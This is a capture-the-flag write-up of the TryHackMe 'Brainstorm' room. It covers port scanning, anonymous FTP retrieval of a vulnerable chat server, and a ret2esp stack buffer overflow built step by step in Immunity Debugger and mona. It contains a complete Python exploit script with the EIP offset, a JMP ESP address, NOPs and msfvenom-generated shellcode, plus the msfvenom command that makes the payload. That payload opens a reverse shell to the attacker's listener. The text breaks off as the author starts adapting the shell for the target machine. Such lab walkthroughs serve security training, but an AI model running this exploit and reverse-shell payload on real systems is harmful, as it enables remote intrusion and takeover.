[TryHackMe] I tried infiltrating a Windows machine with a ret2esp attack (Buffer Overflow)! Brainstorm Writeup

[TryHackMe] I tried infiltrating a Windows machine with a ret2esp attack (Buffer Overflow)! Brainstorm Writeup

This time, we will try out the "ret2esp attack," one of the buffer overflow attacks.
"TryHackMe-Brainstorm: https://tryhackme.com/room/brainstorm "

Please note that the explanation is spoilers.

Recommended reference books
Author: IPUSIRON
¥2,090 (As of 15:33 on 2025/07/13 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
Author: IPUSIRON
¥3,850 (As of 21:11 on 07/08/2025 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
Author: Justin Seitz, Author: Tim Arnold, Supervised by: Mantani Nobutaka, Translation: Arai Yu, Translation: Kakara Hirosei, Translation: Murakami Ryo
¥3,520 (As of 12:26 on 07/09/2025 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
table of contents

Deploy Machine and Scan Network

Deploy the machine()

First, deploy your machine.
Select "StartMachine" and the IP is displayed, so it's OK.

Answer

How many ports are open?()

They are asked how many open ports there are, so I'll try scanning ports with nmap.
Since it does not respond to pings, set "-nP".

┌──(hacklab㉿hacklab)-[~] └─$ nmap -Pn -sV 10.10.15.108 Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-28 21:17 JST Nmap scan report for 10.10.15.108 Host is up (0.25s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 3389/tcp open ssl/ms-wbt-server? 9999/tcp open abyss? 1 service unrecognized destination returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9999-TCP:V=7.92%I=7%D=6/28%Time=649C24DB%P=x86_64-pc-linux-gnu%r(NU SF:LL,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter SF:\x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetRequest SF:,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x SF:20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20mes SF:sage:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\( SF:beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20character SF:s\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x2 SF:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(J SF:avaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20e SF:nter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\ SF:x20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20cha SF:t\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20ch SF:aracters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\x SF:20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20user SF:name\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r( SF:RPCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x2 SF:0enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20 SF:a\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brainst SF:orm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x SF:2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusReques SF:tTCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ent SF:er\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x2 SF:0message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(bet SF:a\)\nPlease\x20ent\x20your\x20username\x20\(max\x2020\x20characters\) SF::\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\x20 SF:Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20SF:\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Terminal SF:ServerCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease SF:e\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write SF:\x20a\x20message:\x20"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 181.68 seconds

The three ports that were confirmed were:

  • 21/tcp open ftp Microsoft ftpd
  • 3389/tcp open ssl/ms-wbt-server?
  • 9999/tcp open abyss?

Answer

I answered 3 and it was wrong. However, even after trying all the methods, it was impossible to detect six.
It has been reported on the forum, so I think it's probably a bug.

For now, I've increased the number and the answer is 6 that answered correctly. . . (If anyone knows, please let me know.)

Accessing Files

I found out that there are three open ports.
What's interesting is the 9999, but please note that 21 FTPs are open.

FTP may be accessible through anonymous authentication.
It may be possible to extract any information, including the files being run, so let's start by looking at FTP.

What is the name of the exe file you found?

Now, let's try accessing FTP with anonymous authentication.
If you are an FTP that allows anonymous authentication, you should be able to log in using "anonymous."

┌──(hacklab㉿hacklab)-[~] └─$ ftp 10.10.15.108 Connected to 10.10.15.108. 220 Microsoft FTP Service Name (10.10.15.108:hacklab): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> 

As expected, anonymous authentication was allowed, so I was able to log in. 

Since it's Windows, I tried to look at the contents on DIR, but the message "229 Entering Extended Passive Mode" was displayed.

┌──(hacklab㉿hacklab)-[~] └─$ ftp 10.10.15.108 Connected to 10.10.15.108. 220 Microsoft FTP Service Name (10.10.15.108:hacklab): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> dir 229 Entering Extended Passive Mode (|||49301|) ^C receive aborted. Waiting for remote to finish abort.

Should I turn off Passive mode using "passive"? Apparently it will work well.
Just as I thought that, I got "425 Cannot open data connection."

I'll try setting "bin" to binary mode and then try again.
I was able to check the folder successfully.

ftp> passive Passive mode: off; fallback to active mode: off. ftp> dir 200 EPRT command successful. 150 Opening ASCII mode data connection. 425 Cannot open data connection. ftp> bin 200 Type set to I. ftp> dir 200 EPRT command successful. 125 Data connection already open; Transfer starting. 08-29-19 08:36PM<DIR> chatserver 226 Transfer complete.

Here is a folder called chatserver.
Let's take a look at the contents.

ftp> cd chatserver 250 CWD command successful. ftp> dir 200 EPRT command successful. 125 Data connection already open; Transfer starting. 08-29-19 10:26PM 43747 chatserver.exe 08-29-19 10:27PM 30761 essfunc.dll 226 Transfer complete.

There are "chatserver.exe" and "essfunc.dll". I think it's probably running on 9999.

Answer

Access

This is where the difficulty level increases all at once.
I had no idea about it either, so I looked at some Writeups. Still, it's not that great. . .
The site I used as a reference is listed at the bottom of the article.

Preparation

First, download the two files you found earlier using FTP.

ftp> get chatserver.exe local: chatserver.exe remote: chatserver.exe 200 EPRT command successful. 125 Data connection already open; Transfer starting. 100% |****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************** EPRT command successful. 125 Data connection already open; Transfer starting. 100% |**************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************

Next, let's take a look at what's going on with the 9999 we found on Portscan.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 10.10.15.108 9999 (UNKNOWN) [10.10.15.108] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): hacklab Write a message: hacking Wed Jun 28 05:45:02 2023 hacklab said: hacking Write a message:  

It seems that a chat-like service is running where you can enter a username of up to 20 characters and a message that doesn't seem to have a character limit.
If there is a possibility of a buffer overflow, then it's a message.

Before that, let's check if the chatserver.exe you just downloaded earlier is the same service.
Move the file you just downloaded to your Windows machine.

If you are thinking of trying it out on your actual Windows (Host) or on a VirtualBox, please be careful about your network settings.
There was a phenomenon where the number of digits that overflowed increased if the NAT was left. (Approximately around 3500)
If you set up the bridge, it should overflow at below 2500.
*The cause was unknown. However, as far as I read the forum, it seems that the same phenomenon is occurring.

PS C:\Users\hackl\Share\Brainstorm> .\chatserver.exe Chat Server started! Called essential function dll version 1.00 Waiting for connections. Received a client connection from 127.0.0.1:59586 Client 127.0.0.1:59586 selected username: hacklab Client 127.0.0.1:59586 closed connection.

Once it's booted, try connecting from Kali using NC.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 192.168.0.126 9999 (UNKNOWN) [192.168.0.126] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): hacklab Write a message: hacking Wed Jun 28 22:20:52 2023 hacklab said: hacking Write a message:  

Now we know that it's an executable file for the same service.

Installing Immunity Debugger

From here on, we'll use Immunity Debugger.
You can download it from below, so please download it. (You will need to enter some personal information.)
If you do not have python, a dialogue will appear to insert python, so please install it.

I will also use mona, so please download it.
Please include "mona.py" in "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands".

After testing for overflow, by entering a large number of characters, determine the EIP offset.

Now, start chatserver.exe on your Windows machine.

PS C:\Users\hackl\Share\Brainstorm> .\chatserver.exe Chat Server started! Called essential function dll version 1.00 Waiting for connections.

Once it's up, start Immunity Debugger and attach chatserver.

Once you have attached, you will see the screen below.
The lower right corner is Paused.

Press F9 to running.

Now, I'll try putting 1000 digits in username.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 192.168.0.126 9999 1 ⨯ (UNKNOWN) [192.168.0.126] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Write a message: test Wed Jun 28 23:10:36 2023 AAAAAAA said: test

It worked without any problems. It looks like it's been truncated to 20 digits.
There seemed to be no particular restrictions on message, so I increased the number of digits and entered it, and it crashed at around 2500.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 192.168.0.126 9999 (UNKNOWN) [192.168.0.126] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): test Write a message:

Under Immunity Debugger, it says "to pass exception to program" and it turns out that an error occurred.
Also, make sure that the EIP register is filled with "41(A)".

This means that buffer overflow is enabled.

EIP register: Keeps the address of the native code to be executed next

Next, find the exact offset of the EIP.
Generates 2500 characters with "msf-pattern_create".

┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ msf-pattern_create -l 2500

Send this in a message.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 192.168.0.126 9999 1 ⨯ (UNKNOWN) [192.168.0.126] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): test Write a message:

The EIP when the crashes are set to "31704330".

Next, find the offset that matches "31704330" in "msf-pattern_offset".

┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ msf-pattern_offset -l 2500 -q 31704330 [*] Exact match at offset 2012

That way, I found out that the EIP offset is 2012.
Also, since it is "31704330", it is 4 bytes, so it seems that EIP can be overwritten between 2013 and 2016.

I'll check it just in case.
Also, from here on, I'll create a simple tool in python.
In the message, put 2012 A's in advance to crash.

I want to make sure I can overwrite eip, so I'll add four B and try running it.

#!/usr/bin/python import socket,sys address = '192.168.0.126' port = 9999 user = 'test' message = ('A' * 2012) eip = ('B' * 4) message += eip # message += nop # message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send((user + '\r\n').encode("utf-8")) s.recv(1024) print("message") s.send((message + '\r\n').encode("utf-8")) except Exception as e: print(e) print('[!] Unable to connect to the application.') sys.exit(0) finally: s.close()

The EIP has now become "4242424242". 42 is B, so it seems that it has been properly overwritten.

Answer

「2012」

Now you know that you can overflow a buffer and potentially control execution, you need to find a function where ASLR/DEP is not enabled. Why not check the DLL file.

Next, check if there is enough space for the shellcode immediately after the EIP.
If the ESP register can be overwritten, it refers to the ability to use the ESP JMP address to redirect execution to an ESP containing malicious shellcode.

To put it more in more detail, we use an attack technique called
ret2esp If the buffer is overflowing and the beginning of the stack is a shellcode, ESP points to the shellcode, so redirecting it to ESP makes it possible to execute the shellcode.

  • ESP
    stack pointer. Stores the memory address of data stacked at the top of the stack area. The stack stacks up from the upper address of memory towards the lower address, so ESP refers to the data stored at the lowest address.
  • JMP ESP
    ESP The ESP has a different value each time it is started, so it is not possible to hardcode the ESP address.
    Therefore, you will need a JMP ESP address that will be redirected to the ESP.

Try putting 500 Cs behind eip and running them.

#!/usr/bin/python import socket,sys address = '192.168.0.126' port = 9999 user = 'test' message = ('A' * 2012) eip = ('B' * 4) payload = ('C' * 500) message += eip message += payload # message += nop # message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send((user + '\r\n').encode("utf-8")) s.recv(1024) print("message") s.send((message + '\r\n').encode("utf-8")) except Exception as e: print(e) print('[!] Unable to connect to the application.') sys.exit(0) finally: s.close()

ESP could be overwritten with "C".
ESP means that you can use a JMP address to redirect execution to an ESP that contains the shellcode.

Next, we'll look for JUM ESP.

!mona jmp -r esp

There were about 9 effective JMP ESPs, but we'll use the first "625014DF".
At this address, overwrite the EIP, redirecting it to the ESP and causing the shellcode to be executed.

I've rewritten the code a bit.
This is because from python3, strings and bytes are now accurately differentiated.

#!/usr/bin/python import socket,sys address = '192.168.0.126' port = 9999 user = 'test'.encode("utf-8") eip = b'\xdf\x14\x50\x62' message = ('A' * 2012).encode("utf-8") payload = ('C' * 500).encode("utf-8") message += eip message += payload # message += nop # message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(user + '\r\n'.encode("utf-8")) s.recv(1024) print("message") s.send(message + '\r\n'.encode("utf-8")) except Exception as e: print(e) print('[!] Unable to connect to the application.') sys.exit(0) finally: s.close()

If you leave a breakpoint with "625014DF", you will see that it is running smoothly.

Some hexadecimal characters may be prohibited to prevent shellcode execution, so let's look into them.
This prohibited character is called Bad Characters.
Please note that prohibited characters cannot be included in jump addresses or shellcodes.

A typical example is that \x00(null) is an invalid character and can be excluded.
Check \x01 to \xff.

┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ cat test2.py #!/usr/bin/python import socket,sys address = '192.168.0.126' port = 9999 user = 'test' eip = b'\xdf\x14\x50\x62' message = ('A' * 2012) badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") message += espt message += badchars # message += nop # message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send((user + '\r\n').encode("utf-8")) s.recv(1024) print("message") s.send((message + '\r\n').encode("utf-8")) except Exception as e: print(e) print('[!] Unable to connect to the application.') sys.exit(0) finally: s.close()

From looking at the hexadecimal Dump, there are no invalid characters.
In other words, there seems to be no need to consider anything other than null bytes.

Answer

JMP ESP

Since this would work, you can try generating some shellcode – use msfvenom to generate shellcode for windows. (This works, so try generating some shellcode. Use msfvenom to generate shellcode for Windows.)

Next, we'll generate the hexadecimal code for the reverse shell.
Use msfvenom.

  • -p: Specify payload type: windows/shell_reverse_tcp
  • LHOST: Specify the IP address of the local host to which you want to connect: IP of the attack machine
  • LPORT: Specify the local port to connect to: PORT on the attack machine listening
  • EXITFUNC: thread
  • -f: Specify format: py
  • -e: Specify encoder: x86/shikata_ga_nai
  • -b: Specify invalid characters: "\x00"
┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.158 LPORT=1234 EXITFUNC=thread -f py -e x86/shikata_ga_nai -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of py file: 1712 bytes buf = b"" buf += b"\xba\xae\x14\x6c\x9a\xda\xd6\xd9\x74\x24\xf4\x58\x2b" buf += b"\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e\x03\xfe\x1a\x8e" buf += b"\x6f\x02\xca\xcc\x90\xfa\x0b\xb1\x19\x1f\x3a\xf1\x7e" buf += b"\x54\x6d\xc1\xf5\x38\x82\xaa\x58\xa8\x11\xde\x74\xdf" buf += b"\x92\x55\xa3\xee\x23\xc5\x97\x71\xa0\x14\xc4\x51\x99" buf += b"\xd6\x19\x90\xde\x0b\xd3\xc0\xb7\x40\x46\xf4\xbc\x1d" buf += b"\x5b\x7f\x8e\xb0\xdb\x9c\x47\xb2\xca\x33\xd3\xed\xcc" buf += b"\xb2\x30\x86\x44\xac\x55\xa3\x1f\x47\xad\x5f\x9e\x81" buf += b"\xff\xa0\x0d\xec\xcf\x52\x4f\x29\xf7\x8c\x3a\x43\x0b" buf += b"\x30\x3d\x90\x71\xee\xc8\x02\xd1\x65\x6a\xee\xe3\xaa" buf += b"\xed\x65\xef\x07\x79\x21\xec\x96\xae\x5a\x08\x12\x51" buf += b"\x8c\x98\x60\x76\x08\xc0\x33\x17\x09\xac\x92\x28\x49" buf += b"\x0f\x4a\x8d\x02\xa2\x9f\xbc\x49\xab\x6c\x8d\x71\x2b" buf += b"\xfb\x86\x02\x19\xa4\x3c\x8c\x11\x2d\x9b\x4b\x55\x04" buf += b"\x5b\xc3\xa8\xa7\x9c\xca\x6e\xf3\xcc\x64\x46\x7c\x87" buf += b"\x74\x67\xa9\x08\x24\xc7\x02\xe9\x94\xa7\xf2\x81\xfe" buf += b"\x27\x2c\xb1\x01\xe2\x45\x58\xf8\x65\xaa\x35\x02\xe8" buf += b"\x42\x44\x02\x10\x41\xc1\xe4\x72\x75\x84\xbf\xea\xec" buf += b"\x8d\x4b\x8a\xf1\x1b\x36\x8c\x7a\xa8\xc7\x43\x8b\xc5" buf += b"\xdb\x34\x7b\x90\x81\x93\x84\x0e\xad\x78\x16\xd5\x2d" buf += b"\xf6\x0b\x42\x7a\x5f\xfd\x9b\xee\x4d\xa4\x35\x0c\x8c" buf += b"\x30\x7d\x94\x4b\x81\x80\x15\x19\xbd\xa6\x05\xe7\x3e" buf += b"\xe3\x71\xb7\x68\xbd\x2f\x71\xc3\x0f\x99\x2b\xb8\xd9" buf += b"\x4d\xad\xf2\xd9\x0b\xb2\xde\xaf\xf3\x03\xb7\xe9\x0c" buf += b"\xab\x5f\xfe\x75\xd1\xff\x01\xac\x51\x1f\xe0\x64\xac" buf += b"\x88\xbd\xed\x0d\xd5\x3d\xd8\x52\xe0\xbd\xe8\x2a\x17" buf += b"\xdd\x99\x2f\x53\x59\x72\x42\xcc\x0c\x74\xf1\xed\x04"

Now you have a reverse shellcode.

Answer

See above

After gaining access, what is the content of the root.txt file?

Now that you have all the necessary information, let's put it together.

  • EIP Offset: 'A' * 2012: Appropriate 2012 bytes
  • EIP: '\xdf\x14\x50\x62': JMP ESP address
  • NOPs: Approximately 20: Added 20 NOPs to the beginning of the script to avoid errors during the decoding stage.
  • BUF: Shell Script

Once you've done this, try a reverse shell.

┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ cat test.py #!/usr/bin/python import socket,sys address = '192.168.0.126' port = 9999 user = 'test'.encode("utf-8") buf = b"" buf += b"\xba\xae\x14\x6c\x9a\xda\xd6\xd9\x74\x24\xf4\x58\x2b" buf += b"\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e\x03\xfe\x1a\x8e" buf += b"\x6f\x02\xca\xcc\x90\xfa\x0b\xb1\x19\x1f\x3a\xf1\x7e" buf += b"\x54\x6d\xc1\xf5\x38\x82\xaa\x58\xa8\x11\xde\x74\xdf" buf += b"\x92\x55\xa3\xee\x23\xc5\x97\x71\xa0\x14\xc4\x51\x99" buf += b"\xd6\x19\x90\xde\x0b\xd3\xc0\xb7\x40\x46\xf4\xbc\x1d" buf += b"\x5b\x7f\x8e\xb0\xdb\x9c\x47\xb2\xca\x33\xd3\xed\xcc" buf += b"\xb2\x30\x86\x44\xac\x55\xa3\x1f\x47\xad\x5f\x9e\x81" buf += b"\xff\xa0\x0d\xec\xcf\x52\x4f\x29\xf7\x8c\x3a\x43\x0b" buf += b"\x30\x3d\x90\x71\xee\xc8\x02\xd1\x65\x6a\xee\xe3\xaa" buf += b"\xed\x65\xef\x07\x79\x21\xec\x96\xae\x5a\x08\x12\x51" buf += b"\x8c\x98\x60\x76\x08\xc0\x33\x17\x09\xac\x92\x28\x49" buf += b"\x0f\x4a\x8d\x02\xa2\x9f\xbc\x49\xab\x6c\x8d\x71\x2b" buf += b"\xfb\x86\x02\x19\xa4\x3c\x8c\x11\x2d\x9b\x4b\x55\x04" buf += b"\x5b\xc3\xa8\xa7\x9c\xca\x6e\xf3\xcc\x64\x46\x7c\x87" buf += b"\x74\x67\xa9\x08\x24\xc7\x02\xe9\x94\xa7\xf2\x81\xfe" buf += b"\x27\x2c\xb1\x01\xe2\x45\x58\xf8\x65\xaa\x35\x02\xe8" buf += b"\x42\x44\x02\x10\x41\xc1\xe4\x72\x75\x84\xbf\xea\xec" buf += b"\x8d\x4b\x8a\xf1\x1b\x36\x8c\x7a\xa8\xc7\x43\x8b\xc5" buf += b"\xdb\x34\x7b\x90\x81\x93\x84\x0e\xad\x78\x16\xd5\x2d" buf += b"\xf6\x0b\x42\x7a\x5f\xfd\x9b\xee\x4d\xa4\x35\x0c\x8c" buf += b"\x30\x7d\x94\x4b\x81\x80\x15\x19\xbd\xa6\x05\xe7\x3e" buf += b"\xe3\x71\xb7\x68\xbd\x2f\x71\xc3\x0f\x99\x2b\xb8\xd9" buf += b"\x4d\xad\xf2\xd9\x0b\xb2\xde\xaf\xf3\x03\xb7\xe9\x0c" buf += b"\xab\x5f\xfe\x75\xd1\xff\x01\xac\x51\x1f\xe0\x64\xac" buf += b"\x88\xbd\xed\x0d\xd5\x3d\xd8\x52\xe0\xbd\xe8\x2a\x17" buf += b"\xdd\x99\x2f\x53\x59\x72\x42\xcc\x0c\x74\xf1\xed\x04" eip = b'\xdf\x14\x50\x62' nop = b'\x90' * 20 message = ('A' * 2012).encode("utf-8") message += eip message += nop message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(user + '\r\n'.encode("utf-8")) s.recv(1024) print("message") s.send(message + '\r\n'.encode("utf-8")) except Exception as e: print(e) print('[!] Unable to connect to the application.') sys.exit(0) finally: s.close()

Listen on the attack machine.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nlvp 1234 listening on [any] 1234 ...

Run this state.

┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ python3 test.py [+] Sending buffer message

I managed to get the shell!

┌──(hacklab㉿hacklab)-[~] └─$ nc -nlvp 1234 listening on [any] 1234 ... connect to [192.168.0.158] from (UNKNOWN) [192.168.0.126] 60010 Microsoft Windows [Version 10.0.22621.1848] (c) Microsoft Corporation. All rights reserved. C:\Users\****\****\Brainstorm>

This is still a local machine, so let's customize it a little for the target machine.
First, rebuild the reverse shell.

